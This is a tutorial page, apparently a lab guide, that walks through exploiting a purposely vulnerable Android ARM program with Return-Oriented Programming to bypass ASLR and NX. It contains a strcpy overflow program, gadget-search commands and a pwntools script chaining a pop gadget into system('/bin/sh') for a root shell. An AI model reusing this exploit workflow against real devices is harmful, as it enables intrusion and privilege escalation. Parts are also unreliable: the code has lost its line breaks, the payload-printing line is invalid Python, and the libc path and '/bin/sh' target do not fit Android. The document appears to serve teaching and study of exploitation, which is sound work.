Introduction: The Battle Against Exploit Mitigations
Modern operating systems, including Android, employ robust exploit mitigations like Address Space Layout Randomization (ASLR) and No-eXecute (NX) to prevent common exploitation techniques. ASLR randomizes the base addresses of key memory regions (stack, heap, libraries) at runtime, making it difficult for an attacker to predict the location of their shellcode or desired functions. NX marks memory pages as non-executable, preventing attackers from executing code injected into data segments (like the stack or heap).
However, these mitigations are not insurmountable. Attackers have developed sophisticated techniques to bypass them. One such technique is Return-Oriented Programming (ROP), which chains together small snippets of existing, legitimate code (called "gadgets") already present in the program’s memory. By carefully orchestrating these gadgets, an attacker can achieve arbitrary code execution without injecting new code or knowing exact memory addresses beforehand, provided they can leak information about the memory layout.
This practical guide will walk you through the process of setting up a vulnerable Android environment and constructing a ROP chain to bypass ASLR and NX, ultimately achieving command execution on a target Android device. We will focus on ARM architecture, common in many Android devices.
Prerequisites & Lab Setup
To follow along, you’ll need:
- A rooted Android device or emulator (e.g., AVD, Genymotion, or physical device with root access).
- Android SDK with platform-tools (ADB).
- Android NDK for cross-compilation.
- A Linux host machine for development.
- Basic understanding of ARM assembly and buffer overflows.
- Tools:
readelf,objdump,pwntools(Python library),ROPgadget.
Setting Up the Vulnerable Application
First, let’s create a simple C program with a buffer overflow vulnerability. Save this as vulnerable_app.c:
#include <stdio.h>#include <string.h>#include <stdlib.h>void vulnerable_function(char *input) { char buffer[64]; strcpy(buffer, input); printf("Buffer content: %sn", buffer);}int main(int argc, char *argv[]) { setvbuf(stdout, NULL, _IONBF, 0); // Disable buffering if (argc < 2) { printf("Usage: %s <string>n", argv[0]); return 1; } vulnerable_function(argv[1]); printf("Exiting normally.n"); return 0;}
Compile it for your Android device’s architecture (e.g., armv7a for 32-bit ARM):
$ <NDK_PATH>/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi21-clang -O0 -fno-stack-protector -zexecstack -o vulnerable_app vulnerable_app.c
The flags -O0 (no optimization), -fno-stack-protector (disable stack cookies), and -zexecstack (allow executable stack, though NX will still prevent it if enabled) simplify the initial exploit development by removing other mitigations. We’re focusing purely on ASLR and NX bypass via ROP.
Push the compiled binary to your Android device:
$ adb push vulnerable_app /data/local/tmp/$ adb shell chmod +x /data/local/tmp/vulnerable_app
Bypassing ASLR: Information Leakage
The primary challenge with ASLR is not knowing the base address of critical libraries (like libc.so) at runtime. To bypass this, we need an information leak.
For simplicity in this lab, we’ll assume we can read /proc/self/maps to discover the base address of libc.so for our process. In a real-world scenario, this leak might come from a format string vulnerability, a heap overflow that exposes pointers, or other memory disclosure bugs.
On the device, execute:
$ adb shell /data/local/tmp/vulnerable_app AAAA # Run once to get a PID$ adb shell cat /proc/<PID>/maps | grep libc.so
You’ll see output similar to:
72a00000-72ae7000 r-xp 00000000 b3:16 1121 /apex/com.android.runtime/javalib/arm/libc.so
The first address (e.g., 72a00000) is the base address of libc.so for the current process. This address will change each time the app runs due to ASLR. You’ll need to fetch this dynamically in a real exploit.
Next, we need the offsets of functions like system and the string "/bin/sh" within libc.so. Extract libc.so from your device (e.g., from /apex/com.android.runtime/javalib/arm/) and use readelf on your host:
$ readelf -s /path/to/libc.so | grep ' system'$ readelf -s /path/to/libc.so | grep ' __system_property_get' # A common target for string address near system
Let’s assume for our example:
systemoffset:0x00021b60"/bin/sh"string offset:0x00063f24(often found near other useful strings or by searching the data section)
Now, we can calculate the runtime addresses:system_addr = libc_base_addr + system_offsetbinsh_addr = libc_base_addr + binsh_offset
Bypassing NX: Return-Oriented Programming (ROP)
With NX enabled, we can’t execute code directly on the stack. Instead, we’ll build a ROP chain using existing code fragments (gadgets) from libc.so or the main binary.
Finding ROP Gadgets
We’re looking for gadgets that manipulate registers and control program flow. Common gadgets include:
pop {r0, pc}: Pops a value intor0and returns. Useful for setting arguments.pop {r4, r5, r6, r7, pc}: Pops multiple registers and returns.mov r0, rX ; blx rY: Moves a value intor0and branches torY.
Using ROPgadget on libc.so:
$ ROPgadget --binary /path/to/libc.so --arm --architecture arm --thumb
This will output a large list of gadgets. We’re looking for a sequence that allows us to:
- Place the address of
"/bin/sh"intor0(the first argument forsystem). - Jump to the
systemfunction.
A common ROP chain pattern for ARM to call system("/bin/sh") is:
- A gadget like
pop {r0, pc}orpop {r0, r4, pc}to setr0. - The address of the
"/bin/sh"string. - The address of the
systemfunction.
Let’s assume we find the following gadgets in libc.so (offsets relative to libc.so base):
pop_r0_pc_gadget_offset = 0x00010abc(e.g.,pop {r0, r4, pc}or similar that lets us controlr0andpc)
Our ROP chain will look like this on the stack:
- Padding to overwrite the return address.
libc_base_addr + pop_r0_pc_gadget_offset(Address of the gadget to pop/bin/shstring intor0)libc_base_addr + binsh_offset(Value forr0: the address of"/bin/sh")0xdeadbeef(Dummy value forr4, if the gadget ispop {r0, r4, pc})libc_base_addr + system_offset(The address of thesystemfunction)
Crafting the Exploit Payload
We’ll use Python’s pwntools to simplify payload generation. This assumes you’ve dynamically obtained libc_base, system_offset, binsh_offset, and pop_r0_pc_gadget_offset. For this example, we’ll hardcode them, but remember to make them dynamic in a real exploit.
#!/usr/bin/env pythonfrom pwn import *# --- Configuration (replace with dynamic values in real exploit) ---LIBC_BASE_ADDR = 0x72a00000 # Example leaked libc base from /proc/self/maps# Offsets from libc.so (obtained via readelf -s libc.so)SYSTEM_OFFSET = 0x00021b60BINSH_OFFSET = 0x00063f24POP_R0_PC_GADGET_OFFSET = 0x00010abc # Example gadget like 'pop {r0, r4, pc}'# --- Calculate runtime addresses ---system_addr = LIBC_BASE_ADDR + SYSTEM_OFFSETbinsh_addr = LIBC_BASE_ADDR + BINSH_OFFSETpop_r0_pc_gadget = LIBC_BASE_ADDR + POP_R0_PC_GADGET_OFFSETlog.info(f"libc base: {hex(LIBC_BASE_ADDR)}")log.info(f"system@libc: {hex(system_addr)}")log.info(f"/bin/sh string: {hex(binsh_addr)}")log.info(f"pop r0, pc gadget: {hex(pop_r0_pc_gadget)}")# --- Build the ROP chain ---# Padding to overwrite the return address (buffer size + saved FP)padding = b'A' * 64 + b'BBBB' # 64 bytes for buffer, 4 bytes for SFP (Saved Frame Pointer)rop_chain = p32(pop_r0_pc_gadget) # 1. Pop gadget to control R0rop_chain += p32(binsh_addr) # 2. Value for R0: address of "/bin/sh"rop_chain += p32(0xdeadbeef) # 3. Dummy value for R4 (if gadget is pop {r0,r4,pc})rop_chain += p32(system_addr) # 4. Return to system() functionpayload = padding + rop_chainlog.info(f"Payload length: {len(payload)}")log.info(f"Payload: {payload.hex()}")# --- Deliver the payload ---# This part would typically be part of a larger exploit script# that interacts with the vulnerable service (e.g., via network socket).# For this lab, we'll manually feed it via ADB.print(f"Copy this payload to clipboard and execute on device:")print(f"/data/local/tmp/vulnerable_app "{payload.decode('latin-1').replace('\x', '%')}" ")# Note: adb shell might have issues with raw binary payloads. # You might need to hex encode/decode or use a different transport.
The p32() function from pwntools converts an integer to a 4-byte little-endian packed string, suitable for ARM architecture.
Executing the Exploit
The Python script will generate a payload. Due to ADB’s limitations with arbitrary binary data in command-line arguments, you might need to hex encode/decode or ensure your payload only contains printable ASCII characters for simpler testing. For this example, we’ve opted for a more direct (though potentially problematic for special characters) string output.
On your host machine, run the Python script to generate the payload. Then, carefully copy the generated string (the `payload` variable content) and use it as an argument to your vulnerable application on the Android device.
If successful, after running the command, you should see a shell prompt:
$ adb shell/data/local/tmp/vulnerable_app $(python exploit.py) # If using direct pipe or special chars$ /data/local/tmp/vulnerable_app "$(cat payload.txt)" # If payload is in a file# Expected output (assuming system("/bin/sh") works):/system/bin/sh$ iduid=0(root) gid=0(root) ...$ whoamiroot
The system("/bin/sh") call successfully executed, giving you a root shell (assuming the vulnerable app runs as root or has sufficient privileges for /bin/sh).
Conclusion
This lab demonstrated a fundamental approach to bypassing ASLR and NX on an ARM-based Android system using Return-Oriented Programming. While this example simplifies some aspects (like information leakage and payload delivery), it illustrates the core concepts:
- **ASLR Bypass**: By leaking a library’s base address, we can calculate the runtime addresses of critical functions and gadgets.
- **NX Bypass**: By chaining existing code fragments (ROP gadgets), we achieve arbitrary code execution without injecting new, executable code.
Modern Android versions include additional mitigations like CFI (Control Flow Integrity), PAC (Pointer Authentication Codes), and stricter SELinux policies, making these exploits significantly harder. However, understanding ROP remains crucial for comprehending advanced exploitation techniques and designing more robust security defenses.
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →